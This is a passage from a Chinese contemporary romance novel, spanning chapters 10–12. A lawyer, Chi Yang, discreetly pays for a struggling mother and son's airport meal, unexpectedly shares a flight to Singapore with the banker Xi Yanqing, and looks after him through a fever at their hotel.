顾锦泽点点头:“对了,我都忘了问你,你是怎么搞定风盛的?那天他们临时来律所,我以为就是过来了解了解情况,结果当天晚上就说要跟我们合作了,还指明要你。”
池漾:“当天晚上?指明要我?”
顾锦泽听到这两个词,没忍住低笑了声:“你还挺会挑重点。”
池漾:“......”
“这次并购案材料我看过了,利益纠纷不大,交给你有点大材小用了。”
池漾听了心里直接一个白眼翻上天:“合着我就非得跟棘手案件绑在一起呗,我又不是警察。我还不能得心应手一回了?”
顾锦泽:“能能能,再棘手的案子到了池律师手里,那都能得心应手。”
“你一个大老板总拍员工马屁算怎么回事,”池漾回呛着顾锦泽,“再说,我看人家点名要我去,估计也是猜到你这一个月要录节目,你不是说你们是在电视台碰到的吗,人家肯定都考虑到你没时间了,所以才会让我去。”
顾锦泽一想,好像有那么点道理,“对了,我今天找你还有别的事。”
“什么事?”
“你这次去新加坡,正好帮我给我母上大人带些东西呗。”
听他这么一说,池漾这才想到顾锦泽的妈妈郑雪柔最近这几年常驻新加坡。最近她工作太忙,以至于根本就没想到这一茬儿。
现在想想实在不对。不论是当初在英国留学,还是刚回国工作,郑雪柔一直都对她照顾有加,每次过来给顾锦泽送吃的,也都会给她带一份。
池漾爽快应下:“没问题。我正好也想郑阿姨了,你把阿姨地址给我,我到时候亲自给她送过去。”
“得嘞!”听到肯定的答案,顾锦泽挥挥手离开了池漾的办公室。
-
因为周一要开周会,所以时间相对来说就有点不够用,池漾本来是想吃过午饭再去机场的,结果临时有工作要处理就耽搁了。等处理完一看时间,才发现吃饭有点来不及了。
她一边关办公室的门一边朝办公区喊了一句:“孟仲季!走了!”
孟仲季听了,满心欢喜地应了一声,拿起东西就往外跑,与此同时还不忘回给蒋嘉末一个“羡慕吧!我要跟池律师一起出国了!”的得意神情。
蒋嘉末看见了,狠狠地瞪着他,直到他的身影彻底消失在视线尽头。
可即使这样,他还是觉得不解气,于是趁着下午茶的时间,对同事们讲了那则关于“一见不日”的笑话。
此时正在机场的一家西餐厅等餐的孟仲季——“阿嚏!”
然后,他赶忙抽了张纸巾捂住了口鼻。
池漾看他这个样子,担心地问:“感冒了?”
孟仲季摇摇头,带着点鼻音说:“没有啊,我身体好着呢,可能是空气中粉末太多。”
池漾还是放心不下,于是起身到工作台给他要了一杯热水。
结果,她正在等餐台等服务员给她接热水的时候,一段对话无意间传到了她的耳朵。
“请问,这里最便宜的套餐多少钱啊?”一个低沉又微弱的女声。
“八十八。”餐厅的服务员答道。
“这么贵啊......”
听到这儿,池漾用余光往那边扫了一眼,看到一个衣着朴素,脚边还放着一个大编织袋的女人。
一个小男孩拉着她上衣的一角,活泼又兴奋地说:“妈妈,我想吃那个带鸡腿的。”
池漾瞬间意识到,这是一对母子。
服务员把水递给池漾,温声说:“您要的水。”
池漾这才从他们身上收回视线,对服务员说了声谢谢。
然后她假装什么都没听到似的,自然而然地转身离开了。
只不过转身后的脚步明显放慢。
他们的对话还在继续。
“妈妈身上没带那么多钱,下了飞机我们还要买车票,坐很远的车去找爸爸呢。”
“可是我有点饿。”
“唉,都怪妈妈不知道行李托运后,就没办法再拿到行李了。等下飞机我们再吃饭好不好?”
“那......”
对话仍然在继续着,池漾却突然加快了步伐。
走到餐桌,她把热水递给孟仲季,然后以最快的手速从包里拿出了便利贴和笔,匆匆往上面写了几个字。
孟仲季看
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着她这一系列的操作,本想问问发生什么了,结果还没等得及开口,他就看到池漾又以最快的速度离开了座位。
-
席砚卿本来正和钟离声往候机室走,结果无意间往餐厅里一瞥,就在等餐台旁看到了一个熟悉的身影。
然后,他停住脚步,想上去打声招呼。
这个点餐厅人不多,很安静,所以那对母子的对话,席砚卿和钟离声很明显也听到了。
就在钟离声掏出钱包,正准备上前替这对母子买单的时候,席砚卿却忽然伸手拉住了他。
钟离声不解地回过头来,席砚卿用眼神示意他往前看。
钟离声轻抬眉眼,意外地看到一个熟悉的身影,忽又折返。
只见池漾走到那对母子身边,微微弯身,有礼貌地问了一句:“不好意思,如果你们还没有选好,可以让我先买单吗?我赶时间。”
听到这句话,那个正在劝说孩子的女人的脸上浮现一抹明显的窘迫,她赶忙往后退了两步,一脸歉意地说道:“哦、哦、不好意思,您先买吧。”
钟离声看着这一幕,忍不住蹙了下眉。
很明显,池漾当时一定听到了这对母子的对话,她要是听完就走了也没什么,这世界上需要帮助的人这么多,帮了是情分,不帮是本分。
可是她竟然又折返回来了,还当着这对母子的面说要先买单。
思及此,钟离声用余光瞥了一眼席砚卿,却发现他的嘴角正以浅浅的弧度上扬着,用一副看好戏的神情看着点餐台的那一幕。
钟离声当即就纳了闷儿——
他这个表情到底是怎么个意思?
他就不信席砚卿没有看出来,那个母亲在听到这句话时脸上的尴尬和窘迫。
那他这一脸欣赏的表情到底是从何而来?
难道就因为池漾长得漂亮?
长得漂亮就可以为所欲为?
外在美就是比内在美还招人喜爱?
他席砚卿也不是这么肤浅的人啊。
钟离声自顾自地在心里天人交战了几回合,自然没看到池漾偷偷把纸条递给服务员的场面。
等到他再往那边看的时候,池漾已经悄悄站在了等餐区。
那位母亲或许是说服了儿子,正准备往外走,突然被服务员叫住了:“你们等一下!”
母子俩转头才发现叫的是他们。
服务员接着说道:“我们这家店有个优惠,是说每天消费的第一百个客人可以免单,刚才那位女士正好是第九十九个消费的人,所以如果你们现在点单的话,就不用付钱了。”
那位母亲有些不可思议,确认了一遍:“不用付钱?”
服务员继续解释:“对的,因为您正好是第一百个客人,我们店每天的第一百个客人系统会自动免单,您可以任意购买两份套餐。”
服务员似乎是看她还在犹豫,演技都被激发出来了,催促道:“就这一次机会,如果等一会儿又有人进来,这个免单的机会就要让给他们了。”
“不不不,我们点餐。”
最后,小男孩看着屏幕上的图案,点了两份餐。
服务员把小票给她,然后让她随便找个座位等待,等会儿有人会把餐送过去。
池漾等到他们完全消失在视线中之后,才从等餐区走到收银台前,拿出手机扫了付款码。
那个从头到尾配合着池漾计划的服务员看着她,相当赞赏地说了句:“我见过不少有善心的人,都是直接说要替别人买单。你这样的我还是第一次见。”
池漾听了,只是淡淡笑了下。
事已至此,真相大白,钟离声忽然觉得脸颊莫名有些发烫。
席砚卿看人一向很准,以一种早已预料到的眼神看了钟离声一眼,不冷不淡地问了一句:“打脸打的疼不疼?”
问完也不等他回答,就迈着大步朝池漾走去了。
钟离声此刻,是真的纳闷了。
10. 套路
池漾付完款往餐厅里走的时候,眼神出于惯性往门外扫了一眼,那个熟悉的身影就这样跃入了她的视线。
依旧是没有任何预兆的。
三次出场,三次都出其不意。
但每次,池漾在惊讶之余,都会觅得一丝欣喜。这份欣喜,没有确切来源,没有理性注脚,肆无忌惮地在她体内横冲直撞。
他今天穿的有点不一样,她差点没认出来。
简简单单的白衬衫,衣角压在黑色的休闲长裤里,没有腰带,只有一颗同色系的扣子锁在腰间,风度翩翩,长身玉立。
极其简约又极其丰富的装扮。
说其简约,最简单的黑白配,连一丝多余的色彩都没有;说其丰富,则是因为穿衣者肩宽腰窄,长腿直立,轻而易举地将这身衣服穿出了喧宾夺主的气势。
前两次见面,席砚卿都是比较商务的装扮。这次简简单单一件白衬衫,看起来异常清峻,就像是一位赶去开研讨会的研究生。
午后阳光盈盈润润地,以他的身形为轮廓,镶上一层柔和的金边。
池漾驻足凝神间,席砚卿已经走到了她面前。
他身量很高,走到她旁边的时候微微低了下头,把自己的目光与她的目光放在同一条水平线上,眼底蕴着浓浓笑意:“池律师,还真是巧啊。”
池漾正打算问声好,结果身后突然传来一句:“池律,餐上齐了。”
她闻声回眸,看到孟仲季正半起着身子,挥着手臂叫她。
“哦、哦、好。”池漾连声应了几句,语气有点不自然。
这点她自己也意识到了,每次只要见到眼前这个人,除非是在工作情境下,否则她很容易陷入这种有点僵硬的状态。
说完,池漾将目光从身后收回,看向席砚卿,继续她刚才没来得及说出的话:“好巧啊,席总监,您是来这里......?”
“出差。”
池漾这才想起他们现在身处何方,进而觉得自己刚才问的问题跟个白痴似的,一点信息含量都没有。
席砚卿看她羞赧的模样,笑了笑:“快去吃饭吧,你同事等着你呢。”
“嗯,那我先过去了,”池漾朝他摆摆手,“席总监,再见。”
“再见。”
还没走几步,池漾像想起什么一样,突然顿住了脚步。她转过身,朝门外的方向望去,本以为席砚卿应该已经走了,可没想到,他还站在原地,并且目光还停留在她身上,没挪开。
四目一相对,不说点儿什么真的很难收场。
于是,池漾又折返回来,这次换她主动走到他的身边:“席总监,您放心,裕泰那个案子我们准备得很充分,一定能为风盛争取到最大利益。”
席砚卿眸光温柔:“那我静候您的佳音了。”
趁这个机会,池漾又多看了他一眼,然后在这声信任里,点了点头。
-
孟仲季终于等来了池漾,关心地问:“刚才是发生什么事情了吗?”
池漾:“没什么,就是碰到风盛投行的席总监了。”
孟仲季听到这话才又往外侧了侧身子,结果什么都没看到。
他继续吸溜着意面,“对了,风盛那边派谁过去啊?”
池漾过了饭点,其实不太饿,就点了个蛋卷吃,她漫不经心地插着蛋卷,说:“他们投行在新加坡有分部,我们直接跟分部对接。”
“这个我知道,”孟仲季说,“那席总监没有可能去吗?”
池漾摇摇头:“应该不会,要是去他刚才肯定跟我说了。再说这次并购规模没那么大,应该还轮不到他出席,要不按风盛的并购规模和投资总量来看,如果这样的案子都得他亲自盯的话,他哪怕会分.身术,恐怕也得分.身乏术。”
池漾分析得头头是道,孟仲季颇为肯定地点了点头。
结果,没想到,钟离声刚被啪啪打完脸,紧接着被打脸的就是池漾。
值机的时候池漾特意选了和孟仲季连着的座位。
孟仲季发扬绅士精神,走到池漾前面先行寻找位置,刚找到,他就发现他的位置上已经坐了一个人。
因此,他又核实了一遍机票。
没错啊。
确认无误这就是他的座位后,孟仲季底气十足地看着这个“鸠占鹊巢”的人。
只见他正气定神闲地看着窗外,丝毫没有发觉自己坐错了位置,孟仲季看着他的背影,觉得莫名熟悉,总觉得这个人在哪里见过。
于是,他微微探了探身,好看清他的侧脸。
认出来是谁后,孟仲季试探着叫了声:“钟特助?”
钟离声终于从窗外收回目光,眼中晃过一丝相当自然、丝毫看不出是演技的惊讶:“啊!你不是那位?哦!对!一见不日,如隔三秋!”
孟仲季:“......”
俗话说一失足成千古恨。
孟仲季:一口误成千古嘲。
他现在只想赶紧避开这个话题,于是含蓄提醒道:“钟特助,您好像坐错位置了。”
钟离声明知故问:“这个位置是?”
“是池律师的。她有个重要的电话,马上就过来。”孟仲季解释着,顺带着往入口处看了一眼,正巧看到池漾的身影,“池律,这里。”
池漾看到钟离声的时候也有点惊讶,心想难道因为是初次合作的关系,所以风盛派了这位全能特助过来当监工?
钟离声看着池漾,直入主题:“池律师,可不可以麻烦您跟我换个位置,我比较习惯做靠窗的位置,这次值机晚了没有赶上。”
池漾笑笑:“当然可以。”
钟离声说完指了指他的右前方,说:“这是我的位置。”
池漾点点头:“好,那我就先过去了。”
本来一切风平浪静,直到看到内侧位置上坐着的人,池漾彻底不淡定了,“席总监?”
席砚卿听到声音抬起头,以高于钟离声的精湛演技向她问好:“池律师,还真是巧啊。”
跟刚才在餐厅的时候一模一样的语气和笑容,池漾有点懵地在座位上坐下来,思考了一下,问:“您是去新加坡转机,还是直飞?”
“直飞。”
此时乘客已经差不多上完了,机舱里坐得满满的。
所以,池漾本着不泄露商业秘密的原则,稍微把身体往席砚卿那边靠了靠,小声问道:“是去谈裕泰的并购吗?”
席砚卿感觉到她忽然靠近的气息,从喉咙里挤出一个“嗯”字。
池漾:“......”
那你刚才在餐厅说的那句话是什么意思?
席砚卿一眼猜中她心思,主动解释:“我说静候佳音的意思是,去现场静候佳音。”
池漾:“......”
这话好像也没毛病。
六个多小时的航程,身边突然多了个不太熟悉的人,池漾开始还觉得有点不自在。
直到席砚卿问了她一句:“喜欢看电影吗?”
池漾实话实说:“嗯。”
得到肯定答复后,席砚卿把手中的IPAD递给她,说:“选一个你自己想看的。”
“我自己想看的?”
“嗯,我对电影了解不多,所以麻烦你推荐一下。”
池漾垂眸,一边翻看着他下载的电影名单,一边为他推荐:“如果喜欢看商战片,这个不错。”
“抱歉,我不太喜欢看商战片。”
池漾想了想,觉得也是,好不容易看个电影,没人想看出一种还在上班的感觉。
她继续往下找:“如果喜欢看战争片,这个不错。”
席砚卿:“抱歉,我也不太喜欢看战争片。”
然后,池漾依着这个句式,把科幻片、年代片、恐怖片、歌舞片都带入问了一遍,收到的答复都是:“抱歉,我不太喜欢......”
池漾:“......”
席砚卿看她无语的样子,抿唇偷笑:“池律师,你对电影题材的分类,没有爱情片这个选项吗?”
“爱情片?你说的是主线就是讲爱情的那种?”
“嗯。”
“我以为你不会喜欢看那种,所以就没问,”池漾确认道,“你喜欢看爱情片?”
“看得不多,所
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以想看看。”
“那就这个吧,很经典,”池漾指了指屏幕,“我看了好几遍都没有腻。”
席砚卿看着她指的那部《怦然心动》,笑道:“好,就看这个。”说着递给她一只耳机。
池漾:“嗯?”
“我不太喜欢一个人看电影,不知道有没有这个荣幸,邀请池律师一起?”
池漾望着近在咫尺的他,拒绝的话就是说不出口。
她应了声好,接过他递过来的耳机。
电影渐入佳境,最开始的那点不自在,没一会儿就烟消云散了。
这种感觉就很奇妙,池漾也说不清,为什么会涌上心头一股熟悉感,好像就该这样。
倒是钟离声,坐在后排时不时地就往前面瞅,心里回想起登机之前席砚卿的话:“你等会儿想个办法坐在我后面,我跟池律师有事情要谈。对了,不要以我要谈工作为理由,显得我们太压榨劳动者。”
可是,这飞机都快落地了,我怎么就是没听到你俩聊工作呢?
-
这一路上都风平浪静,没有遇上气流颠簸,也没遇到极端天气,当飞机稳稳地降落在新加坡樟宜国际机场时,夜幕已经降临。
四个人并排着往出口走。
钟离声走在最前面,寻找着负责接待的人的身影,这都遇上席砚卿了,池漾和孟仲季自然什么都不用操心,只需要跟着就行。
时间有点晚,再加上又坐了这么久的飞机,精神难免会有点恍惚。
所以当池漾听到“漾漾”两个字的时候,还以为是自己的幻觉,或者是重名。
直到她看到那个许久未见的身影。
郑雪柔穿着一件优雅的淡绿色连衣裙,站在出口处,正挥着手眉开眼笑地叫着她的名字。
池漾看到她之后,先行越过席砚卿和孟仲季,快步跑到郑雪柔的身边,给了她一个大大的拥抱,欣喜道:“郑阿姨,您怎么来了啊?”
郑雪柔保养的很好,五十多岁的年龄了,皮肤依然不显老态。
她热情地拉着池漾的手,满脸热情:“我来接你啊,大闺女。阿泽把你航班信息发给我了,你来新加坡我不来接你,这可怎么说得过去。”
“阿姨,我本来也已经安排好时间要去看您的,这天色这么晚,还麻烦您跑一趟,我心里过意不去。”
郑雪柔拍拍她的肩,笑意柔媚:“以后就是一家人了,有什么过意不去的。”
池漾:???
正巧这时,席砚卿和孟仲季走到了她们身后。
因此,池漾还没把心中的疑问问出口,就先给他们做起了自我介绍。
“这位是......”看着席砚卿,池漾一时语塞,不是不知道该介绍什么,而是不知道这么贸然介绍合不合适。
席砚卿倒是大大方方地接下她的话茬:“您好,风盛投行席砚卿。”
郑雪柔也是见过大世面的人,但还是没忍住把目光在席砚卿身上停留了几秒,“你好,郑雪柔。”
池漾又接着给郑雪柔介绍孟仲季:“这位是我的同事,就读于京大法学院的孟仲季。仲季,这位是顾锦泽律师的母亲。”
孟仲季:!!!
跟着池律师这排场也太大了吧!
先是席总监!然后是律所老大的母亲亲自接机!这都什么豪华阵容!
“您好,我是蓝仲的实习律师,孟仲季。”
郑雪柔颇为赞张地点点头:“小伙子真是年轻有为啊。”
几个人寒暄了一阵。
最后,池漾抵不过郑雪柔的热情攻势,只好坐郑雪柔的车让她送自己回酒店。
孟仲季则和席砚卿与钟离声一起走。
在车上,席砚卿看着窗外的车流,状似不经意地问:“你们顾律师和池律师关系很好?”
孟仲季嗯了一声:“那当然,他们从上大学的时候就认识了,听说在国外读研的导师都是同一个人,回国后又一起共事了这么多年,关系不是一般的好。”
钟离声坐在前座,闻言朝后瞥了一眼。
只见席砚卿的面容隐在汨汨夜色中,辨不清情绪。
11. 咫尺
夜色渐沉,池漾不忍心让郑雪柔太过奔波,最终还是说服了她,先把她送回家,然后再让司机送自己回去。
因此,池漾到达酒店的时间比他们晚了一些。
她从前台拿过房卡之后上了楼。
回到房间之后,池漾这才想起自己的行李还没拿。于是,她理所当然地给孟仲季打了电话,却得知行李不在他那里。
而是在——席砚卿那里。
孟仲季:“当时是工作人员直接把行李拿上来了,席总监的房间离你比较近,所以放在他那里了。”
池漾只好又给席砚卿打了电话,结果一直没人接听。
该不会是睡了吧?
想到这儿,她自然不好意思再打扰。
不过,还好住的是五星级酒店,各类洗漱用品一应俱全。
于是,池漾只好先洗澡,打算明天早上再去拿回行李箱。
至于席砚卿,他本来身体就有些疲乏,这又连着奔波好几天,一进门他就感觉脑袋昏昏沉沉,所以就先洗了个热水澡。
结果没想到就这样错过了池漾的电话。
他本来是想着直接把行李箱送过去,又觉得大晚上的贸然去敲女生门不妥,于是只好给她回了个消息:【行李箱在我这里,房间号711,你方便的时候,我给你送过去。】
等了一会儿没得到回复,他又添一句:【我晚上睡得晚,不用怕打扰我。】
池漾洗好澡出来,看到席砚卿的回复时,最新的一条消息已经是半个小时前。
她一边擦着头发一边回:【席总监,您睡了吗?】
席砚卿顶着昏昏沉沉的脑袋,倚着沙发不知道撑了多久,终于等来了手机“叮”的一声。
他赶忙回复:【没】。
随即又接上了一句:【我现在给你送过去?】
池漾:【我在你房间门口。】
看到这儿,席砚卿蹭的一声就从沙发上站了起来,瞬间感觉头也不沉了,利落地拿起行李箱就往门外走。
打开门一看,池漾就站在门外。
或许是没想到他的速度能这么快,以至于当门突然从里面被打开的时候,池漾的眼神还停留在手机上。
于是当她抬头看向席砚卿的时候,眼睛里裹挟了一层恰如其分的茫然。
她刚洗完澡,浑身上下被一层氤氲的水汽包裹着。白皙的脸颊微微泛着红晕,还没彻底吹干的发尾自然而然地垂在肩侧,与白天的感觉不同,现在是另一种美感——完完全全放下戒备后的一种柔软,清纯无害。
席砚卿第一次见她这个样子,一时间怔在原地。
还是池漾先开的口:“麻烦您了。”
席砚卿这才回过神来,把行李递给她。
可能是有点恍惚,在递的过程中,两个人的手掌不小心碰到了彼此。
席砚卿感觉手掌忽然一冰,微微蹙了下眉,心想她这个样子应该是刚洗完澡,可是为什么,手依然这么凉。
池漾则相反,手掌感受到的是一阵灼烫。
不是热,而是灼烫。
她再抬头看席砚卿的脸,感觉到他的脸色确实比白天里要红一些。
几乎是瞬间,池漾便能肯定,席砚卿在发烧。
于是她也没多想,完全是下意识地抬起右手,用手背去触碰了下他的额头,想试试他的体温,“你是不是发烧了?”
果不其然,他额头的温度比手还烫。
席砚卿毫无防备地,感受到额头传来的一阵凉意,持续好久的滚烫撞上突如其来的凉,他略感不适,出于本能地往后退了一小步。
看到他这个小动作,池漾对自己的莽撞有些愧疚。
但比愧疚更强烈的,是她进一步确定他在发烧,而且温度还不低。
于是她也顾不上什么行李不行李的了,心急火燎地推着席砚卿往房间里走。
看他在沙发上坐定之后,池漾忽然俯身,把自己的额头对上了他的。
席砚卿被这样的近距离接触彻彻底底地惊到。
她的眼睛,鼻子,嘴巴,和气息都近在咫尺,触手可及。
他忽然感觉自己的体温又飙升了几度。
“你这肯定是发烧了?”池漾全然不知他的旖旎心思,确定过他的温度之后就迅速直起了身子,一路小跑地往外走,“我去帮你叫医生。”
席砚卿看天色已晚,不想耽误她休息,语速极快地叫住她:“池律师,这不是在国内,哪那么方便啊。还有,这附近没医院,我不想折腾了,等会儿叫前台拿些退烧药就行了。”
听了这话,池漾这才意识到他们身处何方,一股挫败感袭上她的心头。
席砚卿听到她轻轻地叹了口气,对他说:“国外的退烧药不一定适合你的体质。”
“嗯......”池漾拖长尾音,“我出差都会带一些常用药,里面有退烧药,我给你拿过来,你看看以前吃过没有。”
还没等席砚卿回答,池漾就跑到行李箱前,长腿一伸,利落地把行李箱放倒,开始找退烧药。
她行李箱里的东西摆放得整齐有序,几乎不费什么时间就找到了。
紧接着,她拿着退烧药一溜小跑到客厅,问他:“这个药,你以前吃过没?”
席砚卿看她跑来跑去的样子,感觉心里缺的那一块儿,瞬间被填得满满当当的。
他点了点头。
“吃完没什么不良反应吧?”
“没有。”
听到这个回答,池漾微蹙的眉头终于舒展开了,叮嘱道:“那你先去床上躺着休息会儿。我去烧些开水,然后再给你拿几个退烧贴,你放心,很快就会退烧的。”
说完就自顾自地忙活起来了。
席砚卿忽然叫住她:“池律师。”
池漾应声回眸。
“那我就把我交给你了,”席砚卿眼底笑意更深一层,一语双关地问,“可以吗?”
说不清是何种心理作祟,池漾鬼使神差地点了点头,语气很笃定:“可以。”
窗外月色柔和,池漾永远都不会知道——
她说这话时,眼里是有光的。
-
其实,席砚卿之所以这么问,不是因为不信任,只是想用开玩笑的口气,让她别那么紧张。就发个烧而已,人体正常排毒过程,又不是中毒了。
结果,当他看到她回过头来,看到她一本正经地对他说“可以”的时候,他才觉得,或许他是真的中了毒。
池漾也不清楚自己是哪里来的底气,就这样接下了他的话茬。
等到她回过神去烧水的时候,她才后知后觉地感觉到脸颊有点烫。再去回味席砚卿刚才的那句问话,她才发现其实很容易让人浮想联翩。
虽然池漾知道他没有多余的意思,但她不得不承认,那一刻的怦然,是生动又真实的。
“水满了。”
一道熟悉的嗓音于寂静的夜色中悄然响起,拉回她肆意纷飞的思绪。
池漾回眸,看到席砚卿正斜倚着厨房门,好整以暇地看着她笑。
像是隐秘心事被人戳穿,她轻咳了一声,不自然地垂下眼去,赶在水彻底漫出来之前,关上了饮水机上的按钮。
席砚卿捕捉到她的慌乱,却没有戳破:“其实饮水机可以烧水的,按一下左边第二个按钮就行。”
池漾点点头:“我知道,可是这样烧比较快。”
她说话的时间,已经把烧水壶的插头插进了插座。
席砚卿看着她手里那个白色的容器,不太像是酒店里的,问她:“这个是什么?”
池漾看着她刚才从行李箱里拿出来的东西,解释道:“这个是我自己带的便携式烧水壶,我担心酒店的不卫生。”
话音刚落,池漾又觉得,这都什么鬼逻辑!
是人家要喝水,又不是自己要喝水,个人物品的干净程度和五星级酒店的清洁标准比起来,怎么看都是后者比较让人信赖吧。
更何况,她不过就是席砚卿请来的律师,怎么看都是她多此一举了。
她也是纳闷了,自己怎么就拿的这么顺手呢?
感觉到不妥之后,池漾赶忙说:“要不还是用饮水机吧,应该也不会太慢。”
说完正准备拔下插头。
席砚卿却忽然走上前,按住了她伸出去的手。
他动作很快,一下子把她大半个身子都罩在了自己的身影下,低沉着嗓音开口:“我想用这个。”
说话的时候,他的气息悉数萦绕在她身侧,温和清爽,干净到纯粹。
这距离太近,池漾感觉自己的肩颈线瞬间就绷紧了,刚才尽力掩饰的慌张在此刻显得有些欲盖弥彰。
席砚卿低头看她轻颤的眉睫,嘴角不自觉上扬了几个弧度。
池漾尽力平复了一下心绪,继续道:“席总监,你先去休息吧,我等会儿把药给你送过去。”
说完又添一句,语气极为认真:“我外公是医生,我从小耳濡目染,所以是有经验的。刚才我又重新看了一遍说明书,这个药为中药合成药,副作用较小。再加上你以前吃过,所以是很保险的方案,我不会在你身上冒险,你放心。”
席砚卿看她认真解释的样子,蓦然失笑。
小姑娘想的太周到,哪怕是做好事,首先考虑到的还是别人。
跟白天那个不会直接替那对母子买单,反倒是想办法把善意藏在暗处的小姑娘,一模一样。
席砚卿当然没走开,把她一个人晾在这儿这种事,他可舍不得做。
“今天在机场,你递给服务员的纸条上写的什么?”
“纸条?”池漾音调稍扬。
她本以为席砚卿只是路过餐厅看到她了来打个招呼,结果没想到他连她递纸条的过程都看到了,她轻敛眉眼,一字一句地解释:“就写了一个句子,说他们是幸运顾客可以免单,单我来买。剩下的
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都是服务员自由发挥的,他演技还挺好的。”
席砚卿看着她,觉得她这个样子莫名乖巧。
其实池漾不是完全柔和的长相,五官清晰,侧脸线条极为明显,天生一副美人骨。
此时头顶灯光柔和,她素面朝天,未施任何粉黛,肤色如月光般白净;纤长卷翘的睫毛下,掩映着一双内勾外翘的眼睛,一颗棕色小痣点缀在下眼睑,为这张脸添了丝媚态;鼻型高耸,人中沟低浅,唇色不点而绛。
天生一副美人骨,又配了一副好皮囊。
他近距离地端详着她的脸,然后鬼迷心窍般,手指突然痒了痒。
烧水壶确实效率很高,两三句话的功夫已经响起了沸腾的前奏。席砚卿这才回过神来,饶有兴致地继续问她:“为什么不直接帮他们?”
“直接帮他们,他们不会接受的。”
“嗯?”
“不是所有人,都能够没有任何负担地,接受别人的善意。”
池漾话音刚落,水就咕嘟咕嘟地沸腾起来了,自然截断了这个话题。
她本来还想给他兑温水,席砚卿却说不用,他可以自己来。
于是池漾就离开厨房来到了客厅,她坐在沙发上,耐心至极地把胶囊从铝箔板上抠出来,又耐心至极地把退烧贴拆开。
席砚卿兑好了两杯温水,才离开厨房。
厨房和客厅分别位于玄关的两侧,池漾的行李箱就散在玄关处。
席砚卿经过的时候,没忍住往里面看了一眼。
规矩整洁的收纳袋中,那个占据了箱子四分之一的玩偶看起来格外显眼。
他偷笑一声,一边朝她走近一边问道:“池律师是喜欢看动漫吗?”
池漾注意力都在药上,一下子没反应过来他为什么会这么问,鼻尖溢出一个:“嗯?”
席砚卿在她身边坐下,把温水放在她面前,笑说:“你箱子里那个玩偶太显眼了。”
池漾这才想起来自己的行李箱敞开着,里面有一只黄橙橙的皮卡丘。
她不自然地抚了抚额头,有点儿不好意思。
席砚卿读心功力相当了得:“我不会因为这个觉得池律师不专业的,工作和生活本来就是两个分支。”
池漾也不知该怎么回答,总不能说她都二十多岁了,但是不抱着玩偶根本睡不着吧。
席砚卿也没非要追究个答案,只是默默看着她笑。
池漾赶紧把药整理好,递到他面前,“先把这个吃了吧。”
席砚卿从她手中接过药,二话不说就喝了下去。
“这个是退烧贴,你应该会用吧?不过每隔几个小时最好换一次,嗯......”池漾手指抵唇,似乎是在思考对策,“要不你定个闹钟,或者叫个客房服务,让他们准时提醒你一下?”
席砚卿听着她的解决方案,无人可窥见的内心里,竟升腾起一股贪婪的念想。
随即压抑在内心的更深处。
他点点头,说好。
“现在应该没问题了,那席总监好好休息,”池漾边说边起身,临了又叮嘱一句,“对了,晚上药效发挥作用时会发汗,不要踢被子。”
听了这句话,席砚卿也不知道自己是哪根筋搭错了,看着她将要离开的身影,多问了一句:“那我要是踢了呢?”
那你会留下来陪我吗?
池漾:“啊?”
这让她怎么回答。
席砚卿看她愣神的样子,淡漠一笑:“我开玩笑的。”
池漾:“哦。”
席砚卿趁势起身,走到玄关处替她把行李箱合上,递给她。
池漾这才想起她还没说句感谢:“谢谢席总监帮我拿行李,麻烦你了。”
“没关系,要不是你,我也不能被照顾得这么周到。”
池漾不好意思地笑笑,轻声回了句举手之劳。
席砚卿帮她拿着行李往外走。
其实他和池漾的房间是正对门,直线距离只有一个过道。
席砚卿套路满满,明知故问道:“你就住在对面吗?”
“嗯。”
“那我们还真是挺有缘的。”
闻言,池漾脚步却蓦地一怔,想起他们最初在机场的那场偶遇。
这么想来,他们好像不仅是有缘分,而且还是缘分颇深。
她其实好几次都想问问席砚卿,还记不记得他们之前在机场见过,可是一直都没能问出口。
不过现在,她感觉或许是个好时机。
“席总监,”池漾忽然转过身来,可是要问的话在嘴边徘徊了一会儿,最终还是败下阵来,“没事,我就是提醒你一下,明天上午没有工作安排,你可以好好睡一觉。”
“你也是,好好休息。”
他声音里有一种低沉的温柔,回落在空荡荡的走廊里,蒙上了一层自带回忆特效的混响,如同涨起的潮水,悄无声息地漫过,她封闭已久的心门。
12. 认真
第二天,池漾醒来之后,第一时间就是给席砚卿发了条微信,问他烧退了没。
席砚卿看到信息,不答反问:【醒了?】
池漾:【嗯。】
席砚卿:【过来吃早饭。】
池漾:【???】
席砚卿:【你吃过了?】
池漾:【没有。】
席砚卿:【那还不快点过来。】
池漾:【哪个餐厅?】
席砚卿:【你对门。】
池漾本着关心病患的原则走到对面,发现门没关,而是虚掩着。
她试探着把门拉开一条缝,往里看却没看到席砚卿的身影,倒是看到餐桌上摆放了早餐,看那摆盘,很明显是两人餐。
她用目光逡巡了一会儿,才听到从玄关右侧传来的脚步声。
“怎么不进来?”
池漾循着声音向右边望去,席砚卿手里拿着两个杯子,正笑着朝她走近,他穿着一件白色套衫,下面配了一条灰色长裤,清隽眉眼在晨光里显得温柔至极。
池漾不自然地拢了拢头发,解释说:“我看门没关,怕有什么事情。”
说话间,席砚卿已经走到餐桌旁,“特意给你留的。”
特意给我留的?
池漾关上门,还没琢磨明白这句话,就听到席砚卿又问了她一句:“喝牛奶还是喝粥?”
“粥。”她答得很快,音调微微上扬,带着一丝掩不住的欣喜。
席砚卿说了声好,垂眸为她舀粥。
池漾走到餐桌旁,在他对面坐下。
盛好粥,席砚卿把碗轻放到她面前,语气随意地与她唠着家常:“不喜欢喝牛奶?”
“嗯。”
“乳糖不耐吗?”
“没有,就是更喜欢吃中餐而已,尤其在国外的时候。”
席砚卿听了,若有所思地点了点头:“记住了。”
池漾没心思去想他这句话背后的深意,她现在最担心的问题是他的病情,“你的烧退了吗?”
“不知道,应该是退了吧,”席砚卿的语调突然意味深长起来,“我还没来得及量体温。”
听到这儿,池漾觉得也正常。
昨天坐飞机的时候她就注意到席砚卿没什么胃口,这算下来整整快二十个小时没吃东西了,肯定饿的不行,醒来第一件事肯定是吃饭。
不过,一般情况下如果食欲开始恢复,也代表病好了一大半。
她终于放下心来。
席砚卿看她一直没动筷,提醒道:“昨晚辛苦你照顾我,快吃饭。”
池漾这才低头,注意到桌子上的早餐,是糯米粥。
几叶青翠点缀在晶莹透白的米粒上,还有几颗饱满的虾仁半遮半掩地往外探着身子。粥还是热的,拿起汤匙轻轻一搅拌,还能看到缕缕白气渐渐升起,香味扑鼻,轻而易举地就激发出人的食欲。连带着她的心情,也不由自主地随着这香味放松下来。
池漾笑眼盈盈地看向对面,声色清亮明润:“不辛苦的。”说着喝了一口粥。
